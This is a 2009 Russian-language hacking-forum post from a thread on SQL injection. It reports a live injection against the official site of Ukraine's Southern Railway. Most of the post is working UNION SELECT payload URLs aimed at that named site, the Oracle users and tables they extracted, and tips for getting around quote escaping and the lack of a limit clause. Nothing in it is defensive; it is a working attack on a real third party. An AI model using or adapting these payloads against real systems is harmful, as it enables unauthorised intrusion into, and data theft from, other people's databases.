SQL Инъекции

#11

30.11.2009, 22:18

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Официальный сайт Южной железной дороги!
вывод в теге <title>

В даному случае скуль в оракле!

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+table_name+from+sys.all_tables--+

таблица AAABBB

Oracle

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+user+from+sys.user_tables--+

пользователь PZ

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+tablespace_name+from+sys.user_ta bles--+

PZTAB

пользователи

Код:

OUTLN
SYS
DBSNMP
...

таблицы системного пользователя SYS

Код:

Dual
AUDIT_ACTIONS

доступ до DBA_USERS для пользователя под которым работает скрипт закрыт.

Код:

всесто limit rownum
кавычки екранируються
в запросе в скрыпте  один атрибут
склейка так атрибут||chr(симовл асци)||..||..||..

Последний раз редактировалось Strilo4ka; 30.11.2009 в 22:30..